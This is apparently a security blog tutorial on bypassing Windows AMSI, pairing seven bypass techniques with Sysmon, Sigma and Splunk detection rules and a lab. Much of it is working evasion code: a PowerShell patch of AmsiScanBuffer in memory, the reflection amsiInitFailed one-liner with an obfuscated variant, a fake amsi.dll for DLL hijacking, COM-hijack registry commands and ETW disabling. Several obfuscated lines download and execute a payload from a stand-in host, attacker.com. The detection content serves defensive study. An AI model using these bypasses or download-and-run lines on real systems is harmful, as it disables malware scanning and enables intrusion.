Description: Master AMSI architecture, bypass methods, detection strategies, and hands-on labs. From basics to advanced exploitation.
π‘οΈ AMSI Bypass Techniques: The Complete 2026 Developer's Guide
TL;DR: This is a comprehensive, hands-on guide to understanding how AMSI works, 7 proven bypass techniques with working code, detection strategies, and a full lab setup. Bookmark thisβyou'll reference it often.
π Table of Contents
- What is AMSI?
- AMSI Architecture
- 7 Bypass Techniques
- Detection & Defense
- Hands-On Lab
- Cheat Sheet
- Resources
π― What is AMSI?
AMSI = Antivirus Malware Scan Interface
Before diving into bypasses, understand what AMSI actually does.
The Problem AMSI Solves
Traditional AV:
File β Disk β AV Scan β Detect/Block
Modern attacks:
Script β Memory β Execute β AV sees nothing π’
AMSI fixes this:
Script β AMSI intercept β AV scan β Allow/Block β Execute
What AMSI Covers
| Technology | Supported | Since |
|---|---|---|
| PowerShell | β | 5.0+ |
| VBScript | β | Win10 |
| JScript | β | Win10 |
| Office Macros | β | Office 2016+ |
| .NET Assemblies | β | .NET 4.8+ |
| WMI | β | Win10 1903+ |
ποΈ AMSI Architecture
Flow Diagram
ββββββββββββββββββββββββββββββββββββββββ
β Application (PowerShell) β
β - User runs script β
βββββββββββββββββ¬βββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββββββ
β AMSI Client (amsi.dll) β
β AmsiScanBuffer() β ββββ TARGET FOR BYPASSES
β AmsiScanString() β
βββββββββββββββββ¬βββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββββββ
β AV Provider (Windows Defender) β
β - Signature matching β
β - Behavioral analysis β
ββββββββββββββββββββββββββββββββββββββββ
Key Functions
// Initialize AMSI context
HRESULT AmsiInitialize(
LPCWSTR appName,
HAMSICONTEXT *amsiContext
);
// Scan buffer (main scanning function)
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
// Clean up
void AmsiUninitialize(
HAMSICONTEXT amsiContext
);
Result Codes
| Code | Value | Meaning |
|---|---|---|
AMSI_RESULT_CLEAN |
0 | β No threat |
AMSI_RESULT_NOT_DETECTED |
1 | β No threat |
AMSI_RESULT_DETECTED |
32768 | π¨ Malware detected |
Critical insight: If AmsiScanBuffer() is compromised, the entire chain fails.
βοΈ 7 Bypass Techniques
1οΈβ£ Memory Patching
Difficulty: βββ
Stealth: ββ
Effectiveness: βββββ
How It Works
Overwrite AmsiScanBuffer() in memory to always return success without scanning.
Assembly Patch
; Original function does complex scanning
; Patched function:
xor eax, eax ; EAX = 0 (S_OK)
ret ; Return immediately
PowerShell Implementation
function Patch-Amsi {
# P/Invoke setup
$code = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(
IntPtr lpAddress,
UIntPtr dwSize,
uint flNewProtect,
out uint lpflOldProtect
);
}
"@
Add-Type $code
# Load amsi.dll
$amsi = [Kernel32]::LoadLibrary("amsi.dll")
$addr = [Kernel32]::GetProcAddress($amsi, "AmsiScanBuffer")
# Change memory protection to PAGE_EXECUTE_READWRITE
$oldProtect = 0
[Kernel32]::VirtualProtect($addr, [uint32]5, 0x40, [ref]$oldProtect) | Out-Null
# x64 patch: mov eax, 0; ret
$patch = [Byte[]] (0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6)
# Restore original protection
[Kernel32]::VirtualProtect($addr, [uint32]5, $oldProtect, [ref]$oldProtect) | Out-Null
Write-Host "[+] AMSI patched" -ForegroundColor Green
}
Patch-Amsi
Detection
Sysmon Config:
<ProcessAccess onmatch="include">
<TargetImage condition="end with">amsi.dll</TargetImage>
<GrantedAccess>0x1F3FFF</GrantedAccess>
</ProcessAccess>
2οΈβ£ Obfuscation
Difficulty: β
Stealth: ββββ
Effectiveness: βββ
Technique Comparison
| Method | Example | Detection Risk |
|---|---|---|
| String Concat | "I"+"EX" |
Low |
| Base64 | [Convert]::FromBase64String() |
Medium |
| Character Substitution | I`E`X |
Low |
| Format Strings | "{0}{1}" -f 'I','EX' |
Low |
| Reflection | [type]::GetType("...") |
Medium |
Examples
Basic Obfuscation:
# Original (detected)
IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/payload")
# Obfuscated v1: String concatenation
$a = "I" + "EX"
$b = "New-" + "Object"
$c = "Net.Web" + "Client"
& (GCI Alias:$a) (& $b $c).DownloadString("http://attacker.com/payload")
# Obfuscated v2: Backticks
I`E`X (N`ew-Obj`ect N`et.WebCl`ient).Down`loadStr`ing("http://attacker.com/payload")
# Obfuscated v3: Format strings
$cmd = "{0}{1}" -f "IE", "X"
& $cmd (New-Object Net.WebClient).DownloadString("http://attacker.com/payload")
Advanced Obfuscation:
# Character array assembly
$chars = [char[]]@(73,69,88) # "IEX"
$cmd = -join $chars
& $cmd (New-Object Net.WebClient).DownloadString("http://attacker.com/payload")
# Unicode encoding
$unicode = [System.Text.Encoding]::Unicode.GetBytes("IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload')")
$encoded = [Convert]::ToBase64String($unicode)
powershell.exe -EncodedCommand $encoded
Tools
- Invoke-Obfuscation (GitHub)
- ISE-Steroids
- Chimera (multi-language obfuscator)
3οΈβ£ Reflection Bypass
Difficulty: β
Stealth: βββ
Effectiveness: ββββ
The Classic One-Liner
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Step-by-Step Breakdown
# Step 1: Get PowerShell assembly
$assembly = [Ref].Assembly
# Step 2: Get AmsiUtils type
$amsiUtils = $assembly.GetType('System.Management.Automation.AmsiUtils')
# Step 3: Get amsiInitFailed field
$field = $amsiUtils.GetField('amsiInitFailed', 'NonPublic,Static')
# Step 4: Set to true (tells PowerShell AMSI failed to init)
$field.SetValue($null, $true)
Write-Host "[+] AMSI bypassed via reflection" -ForegroundColor Green
Alternative Method: Context Nullification
# Null out the AMSI context directly
$context = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static')
$context.SetValue($null, $null)
Obfuscated Version
# Less obvious to signature detection
[Re`f].Assembly.GetType('Sys'+'tem.Manage'+'ment.Autom'+'ation.Amsi'+'Utils').GetField('ams'+'iInit'+'Failed','NonP'+'ublic,St'+'atic').SetValue($null,$true)
Detection
PowerShell Script Block Logging (EventID 4104):
Indicators:
- "AmsiUtils"
- "amsiInitFailed"
- "amsiContext"
- "NonPublic,Static"
Sigma Rule:
title: AMSI Bypass via Reflection
status: stable
logsource:
product: windows
service: powershell
detection:
selection:
EventID: 4104
ScriptBlockText|contains|all:
- 'AmsiUtils'
- 'amsiInitFailed'
condition: selection
level: high
4οΈβ£ Downgrade Attack
Difficulty: β
Stealth: ββ
Effectiveness: βββ
Concept
PowerShell 2.0 (2009) predates AMSI β No AMSI in v2.0
Execution
# Force PowerShell 2.0
powershell.exe -version 2 -Command "malicious_payload_here"
# Example
powershell.exe -version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload')"
Check If Vulnerable
# Check if PS 2.0 is installed
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
# Output:
# State: Enabled β (vulnerable)
# State: Disabled β
(safe)
Remediation
# Remove PowerShell 2.0 (requires admin + reboot)
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
# Verify
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
Detection
Sysmon EventID 1:
<ProcessCreate onmatch="include">
<Image condition="end with">powershell.exe</Image>
<CommandLine condition="contains">-version 2</CommandLine>
</ProcessCreate>
Windows Event Log 400:
Look for: "Engine Version = 2.0"
5οΈβ£ DLL Hijacking
Difficulty: ββββ
Stealth: βββ
Effectiveness: βββββ
DLL Search Order
Windows searches for DLLs here (in order):
- Application directory
C:\Windows\System32C:\Windows\SystemC:\Windows- Current directory
- Directories in
%PATH%
Malicious amsi.dll (C/C++)
#include <windows.h>
// Fake AmsiScanBuffer that always returns "clean"
extern "C" __declspec(dllexport) HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT * result
) {
*result = AMSI_RESULT_CLEAN; // Always clean
return S_OK;
}
// Fake AmsiScanString
extern "C" __declspec(dllexport) HRESULT AmsiScanString(
HAMSICONTEXT amsiContext,
LPCWSTR string,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT * result
) {
*result = AMSI_RESULT_CLEAN;
return S_OK;
}
// Fake initialization
extern "C" __declspec(dllexport) HRESULT AmsiInitialize(
LPCWSTR appName,
HAMSICONTEXT * amsiContext
) {
*amsiContext = (HAMSICONTEXT)1;
return S_OK;
}
// Fake cleanup
extern "C" __declspec(dllexport) void AmsiUninitialize(
HAMSICONTEXT amsiContext
) {
// Do nothing
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
return TRUE;
}
Compile:
# Using MinGW
gcc -shared -o amsi.dll amsi.c
# Using MSVC
cl /LD amsi.c
Detection
Sysmon EventID 7 (ImageLoad):
<ImageLoad onmatch="include">
<ImageLoaded condition="end with">amsi.dll</ImageLoaded>
<ImageLoaded condition="not begin with">C:\Windows\System32</ImageLoaded>
</ImageLoad>
6οΈβ£ COM Hijacking
Difficulty: βββββ
Stealth: βββββ
Effectiveness: ββββ
Concept
Hijack AMSI's COM registration to redirect to malicious implementation.
Implementation
# AMSI CLSID
$clsid = "{fdb00e52-a214-4aa1-8fba-4357bb0072ec}"
# Create registry entry pointing to fake DLL
New-Item "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Force
Set-ItemProperty "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Name "(Default)" -Value "C:\Path\To\Fake\amsi.dll"
7οΈβ£ ETW Patching
Difficulty: βββ
Stealth: ββββ
Effectiveness: ββββ
Concept
Disable Event Tracing for Windows (ETW) to prevent logging.
Implementation
# Patch ETW provider
$etw = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$field = $etw.GetField('etwProvider','NonPublic,Static')
$field.SetValue($null, $null)
Write-Host "[+] ETW disabled" -ForegroundColor Green
π‘οΈ Detection & Defense
Defense-in-Depth Strategy
Layer 1: Prevention
βββ Remove PowerShell 2.0
βββ Constrained Language Mode
βββ Application Whitelisting (AppLocker/WDAC)
Layer 2: Detection
βββ Script Block Logging (EventID 4104)
βββ Sysmon Monitoring
βββ EDR/XDR Behavioral Detection
βββ SIEM Correlation Rules
Layer 3: Response
βββ Automated Alerting
βββ Playbook-based Response
βββ Threat Hunting
Implementation Checklist
β Basic Hardening
- [ ] Remove PowerShell 2.0
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
- [ ] Enable Script Block Logging
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
- [ ] Enable Constrained Language Mode
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
β Sysmon Deployment
Config snippet for AMSI bypass detection:
<Sysmon schemaversion="4.82">
<EventFiltering>
<!-- Memory patching detection -->
<ProcessAccess onmatch="include">
<TargetImage condition="end with">amsi.dll</TargetImage>
<GrantedAccess>0x1F3FFF</GrantedAccess>
</ProcessAccess>
<!-- PowerShell downgrade -->
<ProcessCreate onmatch="include">
<Image condition="end with">powershell.exe</Image>
<CommandLine condition="contains any">-version 2;-v 2</CommandLine>
</ProcessCreate>
<!-- Reflection bypass -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains all">AmsiUtils;amsiInitFailed</CommandLine>
</ProcessCreate>
<!-- DLL hijacking -->
<ImageLoad onmatch="include">
<ImageLoaded condition="end with">amsi.dll</ImageLoaded>
<ImageLoaded condition="not begin with">C:\Windows\System32</ImageLoaded>
</ImageLoad>
</EventFiltering>
</Sysmon>
β SIEM/Splunk Queries
Detect reflection bypass:
index=windows EventCode=4104 ScriptBlockText="*AmsiUtils*" ScriptBlockText="*amsiInitFailed*"
| stats count by Computer, User
Detect PowerShell downgrade:
index=windows EventCode=4104 EngineVersion="2.*"
| stats count by Computer, CommandLine
π§ͺ Hands-On Lab
Lab Setup
Requirements:
- Windows 10/11 VM
- PowerShell 5.1+
- Admin rights
- β οΈ SNAPSHOT BEFORE TESTING
Exercise 1: Test AMSI Baseline
# This should be BLOCKED by AMSI
'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
# Expected output:
# This script contains malicious content and has been blocked by your antivirus software.
Exercise 2: Reflection Bypass
# Test 1: AMSI active (should block)
'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
# Bypass AMSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Test 2: AMSI bypassed (should NOT block)
'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
Exercise 3: Verify Logging
# Check if bypass was logged
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-PowerShell/Operational'
ID=4104
} -MaxEvents 5 |
Select-Object TimeCreated, Message |
Format-List
Exercise 4: Clean Up
# Restart PowerShell to restore AMSI
exit
π Cheat Sheet
Quick Reference
| Technique | Command | Detection |
|---|---|---|
| Memory Patch | Custom P/Invoke | Sysmon ProcessAccess |
| Obfuscation | "I"+"EX" |
Script Block Logging |
| Reflection | [Ref].Assembly... |
EventID 4104 |
| Downgrade | powershell -v 2 |
EventID 4104/400 |
| DLL Hijack | Place fake amsi.dll
|
Sysmon ImageLoad |
| COM Hijack | Registry redirect | Registry monitoring |
| ETW Patch | Null ETW provider | Behavioral detection |
Detection Priority
-
High Priority:
- PowerShell 2.0 execution
-
AmsiUtils+amsiInitFailedin scripts -
amsi.dllloaded from non-System32
-
Medium Priority:
- Base64-encoded commands
- Excessive obfuscation patterns
- Memory protection changes
-
Low Priority:
- Standard obfuscation
- Legitimate admin scripts
π Resources
Official Docs
Tools
Further Reading
π― Key Takeaways
- β AMSI is essential but not sufficient alone
- β Multiple bypass methods exist β defenders must layer controls
- β Logging is critical β even bypassed AMSI leaves traces
- β Behavior > Signatures β detect what scripts DO, not what they LOOK LIKE
- β Remove PowerShell 2.0 β lowest-hanging fruit for defenders
π¬ Comments & Discussion
What's your experience with AMSI bypasses?
- Have you encountered these in the wild?
- What detection strategies work best for you?
- Any bypass techniques I missed?
Drop your thoughts below! π
Follow me @cyberrscourse to get notified!
β οΈ Legal Disclaimer
This guide is for educational and authorized security testing only.
- β Use in your own lab
- β Use during authorized penetration tests
β Use to improve your defenses
β Do NOT use against systems you don't own
β Unauthorized access is illegal (CFAA, CFAA)
β You are responsible for your actions
Written by @cyberrscourse
Security Researcher | Red Team | Educator
π
Published: September 2026
π·οΈ #cybersecurity #windows #powershell #redteam #AMSI #infosec
β Found this helpful?
- Bookmark for reference
- Share with your security team
- Follow for more content
π¬ Questions? Ask in the commentsβI respond to every one!
Top comments (0)